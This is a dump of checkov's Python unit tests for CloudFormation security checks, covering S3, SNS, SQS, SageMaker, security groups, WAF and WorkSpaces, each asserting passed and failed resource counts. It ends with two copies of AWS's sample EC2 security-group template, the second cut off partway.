self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 5) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_S3Encryption.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.S3Encryption import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestS3Versioning(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/S3Templates" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 6) self.assertEqual(summary['failed'], 0) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_S3IgnorePublicACLs.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.S3IgnorePublicACLs import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestS3IgnorePublicACLs(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/S3Templates" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 5) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_S3PublicACLRead.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.S3PublicACLRead import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestS3PublicACLRead(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/S3Templates" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 3) self.assertEqual(summary['failed'], 3) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_S3PublicACLWrite.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.S3PublicACLWrite import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestS3PublicACLWrite(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/S3Templates" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 5) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_S3RestrictPublicBuckets.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.S3RestrictPublicBuckets import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestS3RestrictPublicBuckets(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/S3Templates" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 0) self.assertEqual(summary['failed'], 6) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_S3Versioning.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.S3Versioning import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestS3Versioning(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/S3Templates" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 5) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_SNSTopicEncryption.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.SNSTopicEncryption import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestSNSTopicEncryption(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_SNSTopicEncryption" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_SQSQueueEncryption.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.SQSQueueEncryption import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestSQSQueueEncryption(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_SQSQueueEncryption" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 2) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_SagemakerDataQualityJobDefinitionEncryption.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.SagemakerDataQualityJobDefinitionEncryption import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestSagemakerDataQualityJobDefinitionEncryption(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_SagemakerDataQualityJobDefinitionEncryption" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "AWS::SageMaker::DataQualityJobDefinition.MyDataQualityJobDefinitionPass", } failing_resources = { "AWS::SageMaker::DataQualityJobDefinition.MyDataQualityJobDefinitionFail", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_SagemakerDataQualityJobDefinitionTrafficEncryption.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.SagemakerDataQualityJobDefinitionTrafficEncryption import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestSagemakerDataQualityJobDefinitionTrafficEncryption(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_SagemakerDataQualityJobDefinitionTrafficEncryption" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "AWS::SageMaker::DataQualityJobDefinition.DataQualityJobDefinitionPass", } failing_resources = { "AWS::SageMaker::DataQualityJobDefinition.DataQualityJobDefinitionFail1", "AWS::SageMaker::DataQualityJobDefinition.DataQualityJobDefinitionFail2", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_SagemakerDataQualityJobDefinitionVolumeEncryption.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.SagemakerDataQualityJobDefinitionVolumeEncryption import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestSagemakerDataQualityJobDefinitionVolumeEncryption(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_SagemakerDataQualityJobDefinitionVolumeEncryption" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "AWS::SageMaker::DataQualityJobDefinition.MyDataQualityJobDefinitionPass", } failing_resources = { "AWS::SageMaker::DataQualityJobDefinition.MyDataQualityJobDefinitionFail1", "AWS::SageMaker::DataQualityJobDefinition.MyDataQualityJobDefinitionFail2", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_SagemakerModelWithNetworkIsolation.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.SagemakerModelWithNetworkIsolation import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestSagemakerModelWithNetworkIsolation(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_SagemakerModelWithNetworkIsolation" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "AWS::SageMaker::Model.SageMakerModelPass", } failing_resources = { "AWS::SageMaker::Model.SageMakerModelFail1", "AWS::SageMaker::Model.SageMakerModelFail2", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_SagemakerNotebookEncryptedWithCMK.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.SagemakerNotebookEncryptedWithCMK import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestSagemakerNotebookEncryptedWithCMK(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_SagemakerNotebookEncryptedWithCMK" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "AWS::SageMaker::NotebookInstance.BasicNotebookInstancePASS", "AWS::SageMaker::Domain.BasicDomainPASS" } failing_resources = { "AWS::SageMaker::NotebookInstance.BasicNotebookInstanceFAIL", "AWS::SageMaker::Domain.BasicDomainFAIL" } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_SagemakerNotebookInstanceAllowsIMDSv2.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.SagemakerNotebookInstanceAllowsIMDSv2 import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestSagemakerNotebookInstanceAllowsIMDSv2(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_SagemakerNotebookInstanceAllowsIMDSv2" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "AWS::SageMaker::NotebookInstance.BasicNotebookInstancePass", } failing_resources = { "AWS::SageMaker::NotebookInstance.BasicNotebookInstanceFail1", "AWS::SageMaker::NotebookInstance.BasicNotebookInstanceFail2", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_SecretManagerSecretEncrypted.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.SecretManagerSecretEncrypted import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestSecretManagerSecretEncrypted(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_SecretManagerSecretEncrypted" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "AWS::SecretsManager::Secret.MyCMK", } failing_resources = { "AWS::SecretsManager::Secret.NoKMS", "AWS::SecretsManager::Secret.AWSKMS0", "AWS::SecretsManager::Secret.AWSKMS1", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 3) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_SecurityGroupRuleDescription.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.SecurityGroupRuleDescription import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestSecurityGroupRuleDescription(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_SecurityGroupRuleDescription" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 4) self.assertEqual(summary['failed'], 3) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_SecurityGroupUnrestrictedIngress22.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.SecurityGroupUnrestrictedIngress22 import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestSecurityGroupUnrestrictedIngress22(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_SecurityGroupUnrestrictedIngress22" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 2) self.assertEqual(summary['failed'], 5) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_SecurityGroupUnrestrictedIngress3389.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.SecurityGroupUnrestrictedIngress3389 import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestSecurityGroupUnrestrictedIngress3389(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_SecurityGroupUnrestrictedIngress3389" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 2) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_SecurityGroupUnrestrictedIngress80.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.SecurityGroupUnrestrictedIngress80 import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestSecurityGroupUnrestrictedIngress80(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_SecurityGroupUnrestrictedIngress80" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 3) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_TimestreamDatabaseKMSKey.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.TimestreamDatabaseKMSKey import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestRedShiftSSL(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_TimestreamDatabaseKMSKey" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "AWS::Timestream::Database.TimestreamDatabaseEnabled", } failing_resources = { "AWS::Timestream::Database.TimestreamDatabaseDefault", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_TransferServerIsPublic.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.TransferServerIsPublic import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestTransferServerIsPublic(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_TransferServerIsPublic" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "AWS::Transfer::Server.VPC", "AWS::Transfer::Server.VPCENDPOINT", } failing_resources = { "AWS::Transfer::Server.PUBLIC", "AWS::Transfer::Server.NONE", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 2) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_VPCEndpointAcceptanceConfigured.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.VPCEndpointAcceptanceConfigured import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestVPCEndpointAcceptanceConfigured(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_VPCEndpointAcceptanceConfigured" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() for record in report.failed_checks: self.assertEqual(record.check_id, check.id) for record in report.passed_checks: self.assertEqual(record.check_id, check.id) passing_resources = { "AWS::EC2::VPCEndpointService.Pass", } failing_resources = { "AWS::EC2::VPCEndpointService.FailDefault", "AWS::EC2::VPCEndpointService.FailExplicit", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 2) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_WAFACLCVE202144228.py ================================================ import unittest from pathlib import Path from checkov.cloudformation.checks.resource.aws.WAFACLCVE202144228 import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestWAFACLCVE202144228(unittest.TestCase): def test_summary(self): # given test_files_dir = Path(__file__).parent / "example_WAFACLCVE202144228" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "AWS::WAFv2::WebACL.Pass", } failing_resources = { "AWS::WAFv2::WebACL.NoRule", "AWS::WAFv2::WebACL.WrongRule", "AWS::WAFv2::WebACL.RuleCount", "AWS::WAFv2::WebACL.RuleGroupCount", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 4) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_WAFEnabled.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.WAFEnabled import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestWAFEnabled(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_WAFEnabled" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_WorkspaceRootVolumeEncrypted.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.WorkspaceRootVolumeEncrypted import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestWorkspaceRootVolumeEncrypted(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_WorkspaceRootVolumeEncrypted" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() for record in report.failed_checks: self.assertEqual(record.check_id, check.id) for record in report.passed_checks: self.assertEqual(record.check_id, check.id) passing_resources = { "AWS::WorkSpaces::Workspace.Pass", } failing_resources = { "AWS::WorkSpaces::Workspace.FailDefault", "AWS::WorkSpaces::Workspace.FailExplicit", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 2) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_WorkspaceUserVolumeEncrypted.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.WorkspaceUserVolumeEncrypted import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestWorkspaceUserVolumeEncrypted(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_WorkspaceUserVolumeEncrypted" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() for record in report.failed_checks: self.assertEqual(record.check_id, check.id) for record in report.passed_checks: self.assertEqual(record.check_id, check.id) passing_resources = { "AWS::WorkSpaces::Workspace.Pass", } failing_resources = { "AWS::WorkSpaces::Workspace.FailDefault", "AWS::WorkSpaces::Workspace.FailExplicit", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 2) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/unused/EC2InstanceWithSecurityGroupSample-NoDesc.yaml ================================================ Metadata: License: Apache-2.0 Description: 'AWS CloudFormation Sample Template EC2InstanceWithSecurityGroupSample: Create an Amazon EC2 instance running the Amazon Linux AMI. The AMI is chosen based on the region in which the stack is run. This example creates an EC2 security group for the instance to give you SSH access. **WARNING** This template creates an Amazon EC2 instance. You will be billed for the AWS resources used if you create a stack from this template. Source - https://raw.githubusercontent.com/awslabs/aws-cloudformation-templates/master/aws/services/EC2/EC2InstanceWithSecurityGroupSample.yaml' Parameters: KeyName: Description: Name of an existing EC2 KeyPair to enable SSH access to the instance Type: AWS::EC2::KeyPair::KeyName ConstraintDescription: must be the name of an existing EC2 KeyPair. InstanceType: Description: WebServer EC2 instance type Type: String Default: t3.small AllowedValues: [t2.nano, t2.micro, t2.small, t2.medium, t2.large, t2.xlarge, t2.2xlarge, t3.nano, t3.micro, t3.small, t3.medium, t3.large, t3.xlarge, t3.2xlarge, m4.large, m4.xlarge, m4.2xlarge, m4.4xlarge, m4.10xlarge, m5.large, m5.xlarge, m5.2xlarge, m5.4xlarge, c5.large, c5.xlarge, c5.2xlarge, c5.4xlarge, c5.9xlarge, g3.8xlarge, r5.large, r5.xlarge, r5.2xlarge, r5.4xlarge, r3.12xlarge, i3.xlarge, i3.2xlarge, i3.4xlarge, i3.8xlarge, d2.xlarge, d2.2xlarge, d2.4xlarge, d2.8xlarge] ConstraintDescription: must be a valid EC2 instance type. SSHLocation: Description: The IP address range that can be used to SSH to the EC2 instances Type: String MinLength: 9 MaxLength: 18 Default: 0.0.0.0/0 AllowedPattern: (\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})/(\d{1,2}) ConstraintDescription: must be a valid IP CIDR range of the form x.x.x.x/x. LatestAmiId: Type: 'AWS::SSM::Parameter::Value' Default: '/aws/service/ami-amazon-linux-latest/amzn2-ami-hvm-x86_64-gp2' Resources: EC2Instance: #SUPPRESS# Type: AWS::EC2::Instance Properties: InstanceType: !Ref 'InstanceType' SecurityGroups: [!Ref 'InstanceSecurityGroup'] KeyName: !Ref 'KeyName' ImageId: !Ref 'LatestAmiId' InstanceSecurityGroup: Type: AWS::EC2::SecurityGroup Properties: GroupDescription: Enable SSH access via port 22 SecurityGroupIngress: - IpProtocol: tcp FromPort: 22 ToPort: 22 CidrIp: !Ref 'SSHLocation' Outputs: InstanceId: Description: InstanceId of the newly created EC2 instance Value: !Ref 'EC2Instance' AZ: Description: Availability Zone of the newly created EC2 instance Value: !GetAtt [EC2Instance, AvailabilityZone] PublicDNS: Description: Public DNSName of the newly created EC2 instance Value: !GetAtt [EC2Instance, PublicDnsName] PublicIP: Description: Public IP address of the newly created EC2 instance Value: !GetAtt [EC2Instance, PublicIp] ================================================ FILE: tests/cloudformation/checks/resource/aws/unused/EC2InstanceWithSecurityGroupSample.yaml ================================================ AWSTemplateFormatVersion: '2010-09-09' Metadata: License: Apache-2.0 Description: 'AWS CloudFormation Sample Template EC2InstanceWithSecurityGroupSample: Create an Amazon EC2 instance running the Amazon Linux AMI. The AMI is chosen based on the region in which the stack is run. This example creates an EC2 security group for the instance to give you SSH access. **WARNING** This template creates an Amazon EC2 instance. You will be billed for the AWS resources used if you create a stack from this template. Source - https://raw.githubusercontent.com/awslabs/aws-cloudformation-templates/master/aws/services/EC2/EC2InstanceWithSecurityGroupSample.yaml' Parameters: KeyName: Description: Name of an existing EC2 KeyPair to enable SSH access to the instance Type: AWS::EC2::KeyPair::KeyName ConstraintDescription: must be the name of an existing EC2 KeyPair. InstanceType: Description: WebServer EC2 instance type Type: String Default: t3.small AllowedValues: [t2.nano, t2.micro, t2.small, t2.medium, t2.large, t2.xlarge, t2.2xlarge, t3.nano, t3.micro, t3.small, t3.medium, t3.large, t3.xlarge, t3.2xlarge, m4.large, m4.xlarge, m4.2xlarge, m4.4xlarge, m4.10xlarge, m5.large, m5.xlarge, m5.2xlarge, m5.4xlarge, c5.large, c5.xlarge, c5.2xlarge, c5.4xlarge, c5.9xlarge, g3.8xlarge, r5.large, r5.xlarge, r5.2xlarge, r5.4xlarge, r3.12xlarge, i3.xlarge, i3.2xlarge, i3.4xlarge, i3.8xlarge, d2.xlarge, d2.2xlarge, d2.4xlarge, d2.8xlarge] ConstraintDescription: must be a valid EC2 instance type. SSHLocation: Description: The IP address range that can be used to SSH to the EC2 instances Type: String MinLength: 9 MaxLength: 18 Default: 0.0.0.0/0 AllowedPattern: (\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})/(\d{1,2}) ConstraintDescription: must be a valid IP CIDR range of the form x.x.x.x/x. LatestAmiId: Type: 'AWS::SSM::Parameter::Value' Default: 